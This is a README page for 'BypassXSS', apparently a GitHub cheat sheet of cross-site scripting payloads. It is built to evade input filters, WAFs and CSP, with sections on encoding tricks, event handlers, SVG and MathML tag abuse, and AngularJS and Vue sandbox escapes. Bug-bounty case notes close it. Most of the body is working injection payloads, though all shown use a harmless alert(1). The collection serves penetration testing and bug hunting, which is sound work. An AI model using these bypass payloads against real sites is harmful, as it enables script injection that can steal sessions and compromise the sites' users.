BypassXSS
A curated collection of advanced XSS bypass techniques, including WAF evasions, framework-specific payloads, and real-world bug bounty cases.
Install / Use
/learn @ERO-HACK/BypassXSSREADME
Advanced Cross-Site Scripting (XSS) Bypass Techniques
Mastering Filters, WAFs, and Real-World Exploitation
📘 Introduction
Cross-Site Scripting (XSS) remains one of the most prevalent and dangerous vulnerabilities in modern web applications. Despite improvements in input sanitization, CSP headers, and WAFs, attackers consistently find creative ways to bypass restrictions and execute scripts. This document presents a deep-dive into advanced XSS bypass techniques, grounded in real-world bug bounty cases and research.
🧭 Table of Contents
- Introduction
- Types of XSS Filters
- Encoding-Based Bypasses
- Event Handler & DOM Tricks
- HTML5 Abuse & Weird Tags
- JavaScript Context Escapes
- WAF Bypass Techniques
- Framework-Specific Payloads
- CSP Misconfigurations
- Advanced Obfuscation Techniques
- Case Studies from Bug Bounties
- Tools for Testing & Automation
- Payload Repository
- Final Notes
- References
🔐 Types of XSS Filters
- Input Filters (client-side / server-side)
- Output Filters (context-based)
- HTML Sanitizers (DOMPurify, xss-filters)
- WAFs (Cloudflare, Akamai, AWS WAF)
🧬 Encoding-Based Bypasses
<script><script\x3Ealert(1)</script>
<svg/onload=alert(1)>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
🧠 Event Handler & DOM Tricks
<div onpointerover="alert(1)">Hover me</div>
<input onfocus=alert(1) autofocus>
<a href="javascript:alert(1)">Click me</a>
🧪 HTML5 Abuse & Weird Tags
<svg><script>alert(1)</script></svg>
<math><mi//xlink:href="javascript:alert(1)"></math>
<details open ontoggle=alert(1)>
🧩 JavaScript Context Escapes
var data = "<input value='" + user + "'>";
// Payload: ' onfocus=alert(1) autofocus='
JSON.parse('{"user":"<img src=x onerror=alert(1)>"}')
🧱 WAF Bypass Techniques
- Double Encoding:
<script%20%0a>alert(1)</script>
- Tag Confusion:
<<script>script>alert(1)</script>
- Mixed Context Injection
- Non-Standard Quotes, Spaces, Comments
⚙️ Framework-Specific Payloads
AngularJS
{{constructor.constructor('alert(1)')()}}
React
Escape JSX via dangerouslySetInnerHTML
Vue.js
{{['a'].pop().constructor('alert(1)')()}}
🛡️ CSP Misconfigurations
- Open
script-srcorunsafe-inline - Trusted
data:URIs - Using
scriptinside SVG or iframe
🌀 Advanced Obfuscation Techniques
<script><!--alert(1)//--></script>
<script>eval("al"+"ert(1)")</script>
<svg><desc><![CDATA[<script>alert(1)</script>]]></desc></svg>
🧾 Case Studies from Bug Bounties
✔️ Case #17 (2024): Bypassed client-side regex using <svg><script xlink:href="data:text/javascript,alert(1)"></script>
✔️ Private Program (2025): AngularJS sandbox escape using {{constructor.constructor('alert(1)')()}}
🧪 Tools for Testing & Automation
💣 Payload Repository
payloads/
├── waf-bypass.txt
├── dom-based.txt
├── unicode-encodings.txt
├── framework-specific/
│ ├── angular.txt
│ ├── react.txt
│ └── vue.txt
└── csp-bypass.txt
🧾 Final Notes
- Always test across browsers.
- CSP headers are not always reliable.
- Validate both reflection and execution.
- Automate with caution — manual inspection is key.
🔗 References
Author: Shayan from EroHack Telegram: Join Telegram License: MIT Last Update: July 2025
Related Skills
ai-cmo
Collection of my Agent Skills and books.
next
A beautifully designed, floating Pomodoro timer that respects your workspace.
product-manager-skills
31PM skill for Claude Code, Codex, Cursor, and Windsurf: diagnose SaaS metrics, critique PRDs, plan roadmaps, run discovery, and coach PM career transitions.
devplan-mcp-server
3MCP server for generating development plans, project roadmaps, and task breakdowns for Claude Code. Turn project ideas into paint-by-numbers implementation plans.
Security Score
Audited on Dec 17, 2025
